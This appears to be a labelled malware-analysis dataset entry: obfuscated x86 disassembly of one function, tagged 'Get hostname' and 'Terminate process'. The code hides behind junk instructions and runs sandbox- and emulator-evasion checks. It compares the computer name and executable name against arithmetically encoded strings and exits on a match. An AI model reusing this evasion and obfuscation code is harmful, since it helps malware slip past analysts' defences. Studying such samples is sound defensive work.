Function at 0x14610dd
Capabilities:
Get hostname
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x41c
xchg ecx, eax
xchg ecx, eax
push edi
pop edi
push 0x6400000
call dword [sym.imp.msvcrt.dll_malloc]
add esp, 4
xchg ecx, ecx
test eax, eax
push ecx
pop ecx
je 0x1461e3d
xchg ecx, eax
xchg ecx, eax
mov dword [ebp - 0x41c], eax
pushfd
push ebx
add esp, 4
popfd
push 0x6400000
push 0
push dword [ebp - 0x41c]
call dword [sym.imp.msvcrt.dll_memset]
add esp, 0xc
pushfd
push ebx
add esp, 4
popfd
push dword [ebp - 0x41c]
call dword [sym.imp.msvcrt.dll_free]
add esp, 4
push eax
pop eax
push ecx
pop ecx
push 0x400
call dword [sym.imp.kernel32.dll_SetErrorMode]
push eax
push esi
pop esi
pop eax
push 0
call dword [sym.imp.kernel32.dll_SetErrorMode]
pushfd
xor edi, 0xebd87fe4
xor edi, 0xebd87fe4
popfd
push ecx
pop ecx
cmp eax, 0x400
pushfd
push 0xe1af7804
add esp, 4
popfd
jne 0x1461e3d
pushfd
xor edi, 0x9795e1a7
xor edi, 0x9795e1a7
popfd
mov edx, edx
push 0
push 4
push 0x3000
push 0x3e8
push 0
push 0xffffffffffffffff
call dword [sym.imp.kernel32.dll_VirtualAllocExNuma]
push esi
pop esi
test eax, eax
pushfd
xor eax, 0xaaf93263
xor eax, 0xaaf93263
popfd
pushfd
push 0x6caf492
add esp, 4
popfd
je 0x1461e3d
pushfd
push 0x169d81ef
add esp, 4
popfd
mov dword [ebp - 0x20e], 0x104
push eax
push edx
pop edx
pop eax
lea eax, [ebp - 0x313]
push edi
pop edi
lea ebx, [ebp - 0x20e]
push esi
pop esi
pushfd
xor esi, 0xcbfc0a73
xor esi, 0xcbfc0a73
popfd
push ebx
push eax
call dword [sym.imp.kernel32.dll_GetComputerNameA]
pushfd
push edx
add esp, 4
popfd
test eax, eax
xchg edi, ebx
xchg ebx, edi
xchg edx, eax
xchg edx, eax
je 0x1461576
pushfd
xor ebx, 0x517d4169
xor ebx, 0x517d4169
popfd
lea eax, [ebp - 0x418]
nop
pushfd
push edx
add esp, 4
popfd
mov ebx, 0x61
pushfd
push 0xde16362a
add esp, 4
popfd
sub bl, 0x13
pushfd
push ecx
add esp, 4
popfd
pushfd
push eax
add esp, 4
popfd
mov byte [eax], bl
xchg ecx, ecx
pushfd
push 0xc08f8615
add esp, 4
popfd
add bl, 0x18
mov ebx, ebx
mov byte [eax + 1], bl
pushfd
push ecx
add esp, 4
popfd
sub bl, 0xc
push edi
push ecx
pop ecx
pop edi
pushfd
push eax
add esp, 4
popfd
mov byte [eax + 2], bl
push eax
push edx
pop edx
pop eax
pushfd
xor ecx, 0x143db708
xor ecx, 0x143db708
popfd
add bl, 0x1a
pushfd
inc edi
dec edi
popfd
pushfd
xor ebx, 0xae9bc43d
xor ebx, 0xae9bc43d
popfd
mov byte [eax + 3], bl
xchg edx, edx
pushfd
push 0x23b7463f
add esp, 4
popfd
sub bl, 0x2e
push edx
pop edx
xchg ecx, edi
xchg edi, ecx
mov byte [eax + 4], bl
pushfd
xor edi, 0xbc406bab
xor edi, 0xbc406bab
popfd
add bl, 0x1c
nop
mov byte [eax + 5], bl
push ecx
pop ecx
mov edx, edx
sub bl, 0x12
pushfd
inc edi
dec edi
popfd
push ecx
pop ecx
mov byte [eax + 6], bl
pushfd
push 0x4e578bc8
add esp, 4
popfd
add bl, 0x16
xchg esi, eax
xchg esi, eax
mov byte [eax + 7], bl
push ebx
push esi
pop esi
pop ebx
mov edi, edi
sub bl, 0x1e
pushfd
xor eax, 0x5c175eec
xor eax, 0x5c175eec
popfd
mov byte [eax + 8], bl
pushfd
push 0xe24da12f
add esp, 4
popfd
mov byte [eax + 9], 0
pushfd
push 0x3cf77047
add esp, 4
popfd
xchg ecx, ebx
xchg ebx, ecx
lea ebx, [ebp - 0x313]
xchg esi, esi
push ebx
push eax
call dword [sym.imp.msvcrt.dll_strcmp]
add esp, 8
mov eax, eax
test eax, eax
push eax
push edi
pop edi
pop eax
push esi
pop esi
je 0x1461e3d
pushfd
push 0x2cc6ff6f
add esp, 4
popfd
pushfd
push 0xbf93da69
add esp, 4
popfd
lea eax, [ebp - 0x418]
pushfd
push ecx
add esp, 4
popfd
pushfd
push 0xceaf59b4
add esp, 4
popfd
mov ebx, 0x61
nop
sub bl, 0x1c
push edi
push ebx
pop ebx
pop edi
mov byte [eax], bl
pushfd
xor ebx, 0xed4a8311
xor ebx, 0xed4a8311
popfd
add bl, 7
pushfd
push 0x9b2151e5
add esp, 4
popfd
mov byte [eax + 1], bl
xchg ecx, eax
xchg ecx, eax
push edx
pop edx
sub bl, 3
push ebx
push edx
pop edx
pop ebx
pushfd
inc ecx
dec ecx
popfd
mov byte [eax + 2], bl
xchg esi, edx
xchg edx, esi
sub bl, 6
pushfd
xor eax, 0xc6341562
xor eax, 0xc6341562
popfd
pushfd
push 0x50d330f6
add esp, 4
popfd
mov byte [eax + 3], bl
pushfd
push 0x559847
add esp, 4
popfd
pushfd
push edi
add esp, 4
popfd
add bl, 0x17
pushfd
push 0x9c50b691
add esp, 4
popfd
mov byte [eax + 4], bl
pushfd
inc ebx
dec ebx
popfd
push ebx
pop ebx
mov byte [eax + 5], 0
xchg ecx, edi
xchg edi, ecx
lea ebx, [ebp - 0x313]
pushfd
push edi
add esp, 4
popfd
xchg edx, edx
push ebx
push eax
call dword [sym.imp.msvcrt.dll_strcmp]
add esp, 8
pushfd
inc edi
dec edi
popfd
test eax, eax
pushfd
xor ecx, 0x49d1e445
xor ecx, 0x49d1e445
popfd
je 0x1461e3d
pushfd
push 0x9fb41657
add esp, 4
popfd
push ecx
push ebx
pop ebx
pop ecx
lea eax, [ebp - 0x418]
xchg edi, edi
mov ebx, ebx
mov ebx, 0x61
xchg ecx, edx
xchg edx, ecx
pushfd
inc ebx
dec ebx
popfd
add bl, 0x13
mov ebx, ebx
mov byte [eax], bl
mov eax, eax
add bl, 6
pushfd
xor esi, 0x521f7e4b
xor esi, 0x521f7e4b
popfd
pushfd
push 0xe2b8b8eb
add esp, 4
popfd
mov byte [eax + 1], bl
pushfd
push 0x60be29a9
add esp, 4
popfd
mov byte [eax + 2], 0
xchg ecx, ecx
lea ebx, [ebp - 0x313]
mov edi, edi
push ebx
push eax
call dword [sym.imp.msvcrt.dll_strcmp]
add esp, 8
pushfd
xor edi, 0xcca6bdb1
xor edi, 0xcca6bdb1
popfd
xchg esi, edi
xchg edi, esi
test eax, eax
mov ecx, ecx
je 0x1461e3d
push ebx
pop ebx
lea eax, [ebp - 0x418]
pushfd
inc ecx
dec ecx
popfd
mov edi, edi
mov ebx, 0x61
pushfd
push 0xf4f8d350
add esp, 4
popfd
xchg esi, edx
xchg edx, esi
sub bl, 0x14
pushfd
push 0x1bb28025
add esp, 4
popfd
mov byte [eax], bl
pushfd
inc edx
dec edx
popfd
sub bl, 0xc
push eax
pop eax
mov byte [eax + 1], bl
pushfd
push ebx
add esp, 4
popfd
add bl, 8
xchg esi, esi
pushfd
push eax
add esp, 4
popfd
mov byte [eax + 2], bl
xchg esi, ecx
xchg ecx, esi
add bl, 5
push ecx
pop ecx
mov byte [eax + 3], bl
pushfd
inc edx
dec edx
popfd
xchg ecx, edi
xchg edi, ecx
mov byte [eax + 4], 0
xchg edi, edx
xchg edx, edi
lea ebx, [ebp - 0x313]
pushfd
push 0x23e6258d
add esp, 4
popfd
push ebx
push eax
call dword [sym.imp.msvcrt.dll_strcmp]
add esp, 8
push ecx
pop ecx
push esi
pop esi
test eax, eax
pushfd
push 0xe328c97a
add esp, 4
popfd
je 0x1461e3d
pushfd
xor edx, 0x7e61d35b
xor edx, 0x7e61d35b
popfd
pushfd
push 0xc985f736
add esp, 4
popfd
pushfd
push 0x37549777
add esp, 4
popfd
lea eax, [ebp - 0x20a]
xchg ecx, edi
xchg edi, ecx
push 0x104
push eax
push 0
call dword [sym.imp.kernel32.dll_GetModuleFileNameA]
xchg edi, ebx
xchg ebx, edi
pushfd
inc esi
dec esi
popfd
cmp eax, 0
mov eax, eax
jle 0x1461e25
pushfd
xor eax, 0x630a43aa
xor eax, 0x630a43aa
popfd
mov eax, eax
lea eax, [ebp - 0x20a]
pushfd
xor edx, 0x9cffaeab
xor edx, 0x9cffaeab
popfd
push esi
push edi
pop edi
pop esi
push eax
call dword [sym.imp.Shlwapi.dll_PathFindFileNameA]
push ecx
pop ecx
lea ebx, [ebp - 0x105]
pushfd
push ecx
add esp, 4
popfd
push eax
push ebx
call dword [sym.imp.msvcrt.dll_strcpy]
pushfd
inc ebx
dec ebx
popfd
pushfd
xor edi, 0xc92a6c76
xor edi, 0xc92a6c76
popfd
lea eax, [ebp - 0x418]
pushfd
xor esi, 0xcd48b1a5
xor esi, 0xcd48b1a5
popfd
mov ebx, 0x61
push edx
pop edx
pushfd
push ecx
add esp, 4
popfd
sub bl, 0x1e
pushfd
xor edi, 0xb7d38e15
xor edi, 0xb7d38e15
popfd
push edx
push ecx
pop ecx
pop edx
mov byte [eax], bl
pushfd
push eax
add esp, 4
popfd
pushfd
inc eax
dec eax
popfd
sub bl, 9
xchg esi, edi
xchg edi, esi
xchg esi, esi
mov byte [eax + 1], bl
push ebx
push edx
pop edx
pop ebx
xchg edi, edi
add bl, 0x22
pushfd
push eax
add esp, 4
popfd
mov byte [eax + 2], bl
xchg esi, esi
sub bl, 0x18
push esi
push ebx
pop ebx
pop esi
mov byte [eax + 3], bl
mov ebx, ebx
push esi
push edi
pop edi
pop esi
add bl, 0x2b
push ebx
pop ebx
mov byte [eax + 4], bl
mov ecx, ecx
xchg edi, edx
xchg edx, edi
sub bl, 0xc
xchg ebx, ebx
mov byte [eax + 5], bl
xchg ecx, ecx
add bl, 0x12
xchg ebx, edx
xchg edx, ebx
mov byte [eax + 6], bl
push ebx
pop ebx
xchg edx, eax
xchg edx, eax
sub bl, 8
pushfd
xor esi, 0x6838e27e
xor esi, 0x6838e27e
popfd
push edx
push eax
pop eax
pop edx
mov byte [eax + 7], bl
nop
sub bl, 8
pushfd
push edx
add esp, 4
popfd
pushfd
push 0x2dc63238
add esp, 4
popfd
mov byte [eax + 8], bl
mov eax, eax
add bl, 9
xchg edi, ecx
xchg ecx, edi
mov byte [eax + 9], bl
pushfd
push esi
add esp, 4
popfd
pushfd
push 0x62c740b7
add esp, 4
popfd
add bl, 6
pushfd
xor eax, 0xae26529e
xor eax, 0xae26529e
popfd
xchg esi, ecx
xchg ecx, esi
mov byte [eax + 0xa], bl
xchg esi, eax
xchg esi, eax
dec bl
pushfd
xor ebx, 0x71d3fe00
xor ebx, 0x71d3fe00
popfd
mov byte [eax + 0xb], bl
mov esi, esi
sub bl, 0x53
pushfd
inc eax
dec eax
popfd
push eax
push edi
pop edi
pop eax
mov byte [eax + 0xc], bl
xchg ebx, ebx
add bl, 0x41
pushfd
xor esi, 0x5576bf68
xor esi, 0x5576bf68
popfd
mov byte [eax + 0xd], bl
pushfd
inc esi
dec esi
popfd
push esi
pop esi
add bl, 0xd
pushfd
xor ebx, 0x235f90cf
xor ebx, 0x235f90cf
popfd
mov byte [eax + 0xe], bl
pushfd
push eax
add esp, 4
popfd
sub bl, 0xa
xchg ecx, edi
xchg edi, ecx
mov ebx, ebx
mov byte [eax + 0xf], bl
push eax
push esi
pop esi
pop eax
xchg esi, edi
xchg edi, esi
sub bl, 0x44
pushfd
push 0xde79a1a1
add esp, 4
popfd
mov byte [eax + 0x10], bl
pushfd
push 0x6fb962fd
add esp, 4
popfd
add bl, 0x33
mov edi, edi
mov byte [eax + 0x11], bl
xchg ebx, ecx
xchg ecx, ebx
add bl, 0x12
pushfd
inc esi
dec esi
popfd
mov ebx, ebx
mov byte [eax + 0x12], bl
mov edi, edi
pushfd
push ecx
add esp, 4
popfd
add bl, 0xf
pushfd
push 0x5eb60579
add esp, 4
popfd
mov byte [eax + 0x13], bl
pushfd
push 0xc46e74e5
add esp, 4
popfd
xchg ecx, ebx
xchg ebx, ecx
mov byte [eax + 0x14], bl
xchg edi, ecx
xchg ecx, edi
sub bl, 0xb
pushfd
push 0xcef877ea
add esp, 4
popfd
mov byte [eax + 0x15], bl
push ebx
pop ebx
add bl, 5
xchg ebx, ebx
pushfd
inc edx
dec edx
popfd
mov byte [eax + 0x16], bl
pushfd
push ecx
add esp, 4
popfd
push ecx
push eax
pop eax
pop ecx
sub bl, 7
pushfd
push edi
add esp, 4
popfd
push ecx
pop ecx
mov byte [eax + 0x17], bl
pushfd
inc esi
dec esi
popfd
mov esi, esi
add bl, 0xc
pushfd
push 0x70db5425
add esp, 4
popfd
pushfd
push ebx
add esp, 4
popfd
mov byte [eax + 0x18], bl
push ecx
push eax
pop eax
pop ecx
xchg edi, edi
sub bl, 0x17
push edi
pop edi
nop
mov byte [eax + 0x19], bl
mov ebx, ebx
sub bl, 0x1b
push eax
push esi
pop esi
pop eax
pushfd
push edi
add esp, 4
popfd
mov byte [eax + 0x1a], bl
pushfd
inc ebx
dec ebx
popfd
mov edx, edx
add bl, 0x23
mov ebx, ebx
pushfd
push edi
add esp, 4
popfd
mov byte [eax + 0x1b], bl
pushfd
inc ecx
dec ecx
popfd
add bl, 9
pushfd
xor ecx, 0xaaa8a9c6
xor ecx, 0xaaa8a9c6
popfd
mov byte [eax + 0x1c], bl
pushfd
xor edi, 0xa42a7483
xor edi, 0xa42a7483
popfd
mov ebx, ebx
sub bl, 4
xchg edx, ecx
xchg ecx, edx
mov byte [eax + 0x1d], bl
xchg ecx, ecx
pushfd
push 0x40c00fe5
add esp, 4
popfd
add bl, 5
pushfd
push esi
add esp, 4
popfd
push edx
pop edx
mov byte [eax + 0x1e], bl
pushfd
inc edi
dec edi
popfd
pushfd
push edx
add esp, 4
popfd
sub bl, 5
pushfd
push 0xc61f6b43
add esp, 4
popfd
pushfd
inc ebx
dec ebx
popfd
mov byte [eax + 0x1f], bl
pushfd
xor esi, 0xbdc6b244
xor esi, 0xbdc6b244
popfd
add bl, 0xa
xchg edx, esi
xchg esi, edx
mov byte [eax + 0x20], bl
push edx
pop edx
inc bl
pushfd
inc edi
dec edi
popfd
mov byte [eax + 0x21], bl
pushfd
push 0x304fcc2f
add esp, 4
popfd
xchg edx, edx
sub bl, 2
push ecx
push edi
pop edi
pop ecx
pushfd
push ebx
add esp, 4
popfd
mov byte [eax + 0x22], bl
pushfd
push 0x6e074d0b
add esp, 4
popfd
sub bl, 0x11
pushfd
push 0x1e78324e
add esp, 4
popfd
push esi
pop esi
mov byte [eax + 0x23], bl
mov ecx, ecx
xchg edi, edi
add bl, 0x13
pushfd
inc edi
dec edi
popfd
mov byte [eax + 0x24], bl
mov eax, eax
pushfd
push 0x6556f2c0
add esp, 4
popfd
sub bl, 5
xchg ecx, ecx
xchg esi, esi
mov byte [eax + 0x25], bl
pushfd
push edi
add esp, 4
popfd
pushfd
xor edi, 0xb36b6692
xor edi, 0xb36b6692
popfd
add bl, 3
xchg esi, ebx
xchg ebx, esi
xchg esi, esi
mov byte [eax + 0x26], bl
pushfd
push edi
add esp, 4
popfd
sub bl, 0x16
pushfd
push 0x93a41097
add esp, 4
popfd
mov byte [eax + 0x27], bl
xchg esi, eax
xchg esi, eax
sub bl, 0xf
xchg edi, edx
xchg edx, edi
mov byte [eax + 0x28], bl
xchg edx, edx
add bl, 0x2c
pushfd
push ecx
add esp, 4
popfd
mov byte [eax + 0x29], bl
pushfd
push eax
add esp, 4
popfd
sub bl, 0x59
pushfd
push 0x627b7d41
add esp, 4
popfd
pushfd
inc ecx
dec ecx
popfd
mov byte [eax + 0x2a], bl
pushfd
push eax
add esp, 4
popfd
xchg ebx, ecx
xchg ecx, ebx
add bl, 0x24
xchg ebx, ebx
mov byte [eax + 0x2b], bl
xchg edx, edi
xchg edi, edx
add bl, 0x2b
push ebx
pop ebx
mov byte [eax + 0x2c], bl
push ecx
push esi
pop esi
pop ecx
sub bl, 0xc
push edx
pop edx
push esi
pop esi
mov byte [eax + 0x2d], bl
pushfd
push eax
add esp, 4
popfd
xchg esi, esi
add bl, 0x12
mov esi, esi
mov byte [eax + 0x2e], bl
pushfd
push 0x5eccd5be
add esp, 4
popfd
pushfd
push 0x1ff03a22
add esp, 4
popfd
sub bl, 8
xchg ecx, ecx
mov byte [eax + 0x2f], bl
pushfd
push 0xd9a41500
add esp, 4
popfd
sub bl, 8
mov edx, edx
mov byte [eax + 0x30], bl
xchg ecx, ebx
xchg ebx, ecx
xchg ecx, esi
xchg esi, ecx
add bl, 9
xchg esi, edx
xchg edx, esi
mov byte [eax + 0x31], bl
pushfd
push ebx
add esp, 4
popfd
mov edx, edx
add bl, 6
push eax
push ebx
pop ebx
pop eax
mov byte [eax + 0x32], bl
pushfd
inc edx
dec edx
popfd
pushfd
push ebx
add esp, 4
popfd
dec bl
pushfd
push 0x54ba19bc
add esp, 4
popfd
push esi
push edx
pop edx
pop esi
mov byte [eax + 0x33], bl
mov esi, esi
sub bl, 0x17
push edx
pop edx
mov byte [eax + 0x34], bl
pushfd
inc edi
dec edi
popfd
pushfd
push esi
add esp, 4
popfd
add bl, 0x11
pushfd
xor ecx, 0xb7f51a28
xor ecx, 0xb7f51a28
popfd
pushfd
xor edx, 0x4ed208f6
xor edx, 0x4ed208f6
popfd
mov byte [eax + 0x35], bl
nop
pushfd
inc esi
dec esi
popfd
add bl, 0xa
pushfd
inc esi
dec esi
popfd
mov byte [eax + 0x36], bl
pushfd
push esi
add esp, 4
popfd
pushfd
push 0x5ed38fa5
add esp, 4
popfd
sub bl, 4
mov edi, edi
mov byte [eax + 0x37], bl
pushfd
inc ebx
dec ebx
popfd
sub bl, 6
pushfd
push 0x1f3bd80
add esp, 4
popfd
xchg ecx, ecx
mov byte [eax + 0x38], bl
pushfd
push esi
add esp, 4
popfd
mov ebx, ebx
add bl, 3
mov edi, edi
mov byte [eax + 0x39], bl
push edi
pop edi
pushfd
push edi
add esp, 4
popfd
sub bl, 4
pushfd
push 0x4e43e61a
add esp, 4
popfd
mov byte [eax + 0x3a], bl
pushfd
inc ecx
dec ecx
popfd
pushfd
push 0x8fb71547
add esp, 4
popfd
sub bl, 0x3e
pushfd
xor edx, 0x4dcc815c
xor edx, 0x4dcc815c
popfd
pushfd
push edi
add esp, 4
popfd
mov byte [eax + 0x3b], bl
push eax
pop eax
mov ecx, ecx
add bl, 0x37
push ebx
pop ebx
push edx
push eax
pop eax
pop edx
mov byte [eax + 0x3c], bl
pushfd
inc ebx
dec ebx
popfd
xchg edi, edi
add bl, 0x13
pushfd
push edi
add esp, 4
popfd
mov byte [eax + 0x3d], bl
pushfd
push esi
add esp, 4
popfd
sub bl, 0x13
mov esi, esi
pushfd
push ebx
add esp, 4
popfd
mov byte [eax + 0x3e], bl
pushfd
xor edi, 0x49ee1761
xor edi, 0x49ee1761
popfd
push ebx
push esi
pop esi
pop ebx
mov byte [eax + 0x3f], 0
pushfd
xor edi, 0xe70a97ce
xor edi, 0xe70a97ce
popfd
lea ebx, [ebp - 0x20a]
push edx
pop edx
push ebx
push eax
call dword [sym.imp.msvcrt.dll__strcmpi]
add esp, 8
push ebx
push ecx
pop ecx
pop ebx
push ebx
pop ebx
test eax, eax
xchg esi, esi
mov esi, esi
je 0x1461e3d
pushfd
xor edi, 0x201a99
xor edi, 0x201a99
popfd
lea eax, [ebp - 0x418]
pushfd
push esi
add esp, 4
popfd
mov ebx, 0x61
nop
sub bl, 0x1e
push edi
pop edi
mov byte [eax], bl
push edx
push edi
pop edi
pop edx
sub bl, 9
pushfd
xor ebx, 0xc8810aba
xor ebx, 0xc8810aba
popfd
mov byte [eax + 1], bl
pushfd
push edi
add esp, 4
popfd
add bl, 0x22
pushfd
xor edi, 0x5b55e8dd
xor edi, 0x5b55e8dd
popfd
mov byte [eax + 2], bl
push edi
push eax
pop eax
pop edi
sub bl, 9
push edx
push edi
pop edi
pop edx
mov byte [eax + 3], bl
mov edi, edi
push edx
push ecx
pop ecx
pop edx
sub bl, 0xe
push esi
pop esi
xchg ebx, ebx
mov byte [eax + 4], bl
push ebx
pop ebx
add bl, 7
push ebx
push edx
pop edx
pop ebx
push ebx
push eax
pop eax
pop ebx
mov byte [eax + 5], bl
pushfd
xor ebx, 0x45545837
xor ebx, 0x45545837
popfd
sub bl, 6
xchg ebx, ebx
mov byte [eax + 6], bl
pushfd
inc edx
dec edx
popfd
pushfd
push 0x5df26c01
add esp, 4
popfd
sub bl, 0x18
xchg ecx, ecx
mov byte [eax + 7], bl
xchg esi, esi
pushfd
xor ebx, 0x1c45156e
xor ebx, 0x1c45156e
popfd
add bl, 0x17
mov ecx, ecx
mov byte [eax + 8], bl
pushfd
push 0x6888a0c2
add esp, 4
popfd
pushfd
inc edx
dec edx
popfd
add bl, 0x13
pushfd
push edi
add esp, 4
popfd
push esi
push ecx
pop ecx
pop esi
mov byte [eax + 9], bl
xchg ebx, eax
xchg ebx, eax
pushfd
xor esi, 0x46d21007
xor esi, 0x46d21007
popfd
sub bl, 0x13
push esi
pop esi
mov byte [eax + 0xa], bl
pushfd
xor eax, 0x165e4ddd
xor eax, 0x165e4ddd
popfd
mov byte [eax + 0xb], 0
pushfd
xor edi, 0x855cd7ba
xor edi, 0x855cd7ba
popfd
push edi
pop edi
lea ebx, [ebp - 0x20a]
push edi
pop edi
push ebx
push eax
call dword [sym.imp.msvcrt.dll__strcmpi]
add esp, 8
push esi
push eax
pop eax
pop esi
xchg esi, ebx
xchg ebx, esi
test eax, eax
pushfd
push edi
add esp, 4
popfd
pushfd
push esi
add esp, 4
popfd
je 0x1461e3d
pushfd
inc eax
dec eax
popfd
pushfd
push 0x19edcf09
add esp, 4
popfd
lea eax, [ebp - 0x418]
mov ebx, ebx
push ecx
push eax
pop eax
pop ecx
mov ebx, 0x61
pushfd
push 0xd8d67a6a
add esp, 4
popfd
add bl, 0xc
pushfd
push edx
add esp, 4
popfd
push eax
pop eax
mov byte [eax], bl
push edx
push eax
pop eax
pop edx
mov ebx, ebx
add bl, 0xc
pushfd
push 0x69ad7006
add esp, 4
popfd
xchg ecx, ecx
mov byte [eax + 1], bl
xchg edi, eax
xchg edi, eax
pushfd
xor edi, 0x80efec77
xor edi, 0x80efec77
popfd
sub bl, 0x18
pushfd
xor eax, 0x966eca6a
xor eax, 0x966eca6a
popfd
pushfd
xor edi, 0x617156f7
xor edi, 0x617156f7
popfd
mov byte [eax + 2], bl
xchg esi, eax
xchg esi, eax
push eax
pop eax
add bl, 0xf
xchg edx, eax
xchg edx, eax
mov byte [eax + 3], bl
nop
xchg ecx, ecx
mov byte [eax + 4], bl
pushfd
inc eax
dec eax
popfd
sub bl, 0x42
pushfd
xor ebx, 0x1e505123
xor ebx, 0x1e505123
popfd
mov byte [eax + 5], bl
push edi
pop edi
push eax
push edi
pop edi
pop eax
add bl, 0x37
xchg ebx, ebx
mov byte [eax + 6], bl
xchg ecx, ecx
add bl, 0x13
push edi
push ebx
pop ebx
pop edi
xchg esi, eax
xchg esi, eax
mov byte [eax + 7], bl
pushfd
inc esi
dec esi
popfd
pushfd
xor edx, 0xbe846a7e
xor edx, 0xbe846a7e
popfd
sub bl, 0x13
push eax
push edx
pop edx
pop eax
xchg edi, edi
mov byte [eax + 8], bl
pushfd
xor ecx, 0x8a8c6cd7
xor ecx, 0x8a8c6cd7
popfd
mov byte [eax + 9], 0
pushfd
xor esi, 0xf7da7e01
xor esi, 0xf7da7e01
popfd
lea ebx, [ebp - 0x105]
pushfd
inc eax
dec eax
popfd
pushfd
xor edx, 0x2770c6b1
xor edx, 0x2770c6b1
popfd
push ebx
push eax
call dword [sym.imp.msvcrt.dll__strcmpi]
add esp, 8
pushfd
push esi
add esp, 4
popfd
test eax, eax
pushfd
inc eax
dec eax
popfd
pushfd
push ebx
add esp, 4
popfd
je 0x1461e3d
pushfd
inc edx
dec edx
popfd
pushfd
push 0xdc95e0b4
add esp, 4
popfd
pushfd
push 0x95dfa98d
add esp, 4
popfd
pushfd
push edx
add esp, 4
popfd
xor eax, eax
pushfd
inc edx
dec edx
popfd
leave
ret
xchg edx, ebx
xchg ebx, edx
mov edx, edx
push 0
call dword [sym.imp.kernel32.dll_ExitProcess]